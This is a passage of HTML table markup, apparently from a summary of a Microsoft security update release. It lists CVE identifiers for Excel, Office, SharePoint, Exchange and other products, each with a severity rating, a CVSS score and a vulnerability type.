  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55036"><span>CVE-2026-55036</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"><span>CVE-2026-55044</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55037"><span>CVE-2026-55037</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55058"><span>CVE-2026-55058</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55137"><span>CVE-2026-55137</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55053"><span>CVE-2026-55053</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55131"><span>CVE-2026-55131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54131"><span>CVE-2026-54131</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55947"><span>CVE-2026-55947</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55949"><span>CVE-2026-55949</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56156"><span>CVE-2026-56156</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006"><span>CVE-2026-55006</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009"><span>CVE-2026-55009</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005"><span>CVE-2026-55005</span></a></td>
  <td width="256" class="xl74">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56642"><span>CVE-2026-56642</span></a></td>
  <td width="256" class="xl74">Microsoft Fabric Data
  Warehouse Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50343"><span>CVE-2026-50343</span></a></td>
  <td width="256" class="xl74">Microsoft Install
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50439"><span>CVE-2026-50439</span></a></td>
  <td width="256" class="xl74">Microsoft Message
  Queuing Queue Manager Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58537"><span>CVE-2026-58537</span></a></td>
  <td width="256" class="xl74">Microsoft NAT Helper
  Components (ipnathlp.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56193"><span>CVE-2026-56193</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55023"><span>CVE-2026-55023</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55026"><span>CVE-2026-55026</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55027"><span>CVE-2026-55027</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55028"><span>CVE-2026-55028</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55047"><span>CVE-2026-55047</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55035"><span>CVE-2026-55035</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55057"><span>CVE-2026-55057</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl75" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55121"><span>CVE-2026-55121</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55042"><span>CVE-2026-55042</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55139"><span>CVE-2026-55139</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50665"><span>CVE-2026-50665</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56192"><span>CVE-2026-56192</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56195"><span>CVE-2026-56195</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47290"><span>CVE-2026-47290</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50301"><span>CVE-2026-50301</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55017"><span>CVE-2026-55017</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55125"><span>CVE-2026-55125</span></a></td>
  <td width="256" class="xl74">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55133"><span>CVE-2026-55133</span></a></td>
  <td width="256" class="xl74">Microsoft OneNote
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58636"><span>CVE-2026-58636</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50438"><span>CVE-2026-50438</span></a></td>
  <td width="256" class="xl74">Microsoft PC Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58647"><span>CVE-2026-58647</span></a></td>
  <td width="256" class="xl74">Microsoft PowerBI
  Report Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55052"><span>CVE-2026-55052</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58277"><span>CVE-2026-58277</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55051"><span>CVE-2026-55051</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54108"><span>CVE-2026-54108</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55016"><span>CVE-2026-55016</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55019"><span>CVE-2026-55019</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55020"><span>CVE-2026-55020</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55021"><span>CVE-2026-55021</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55030"><span>CVE-2026-55030</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55034"><span>CVE-2026-55034</span></a></td>
  <td width="256" class="xl74">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
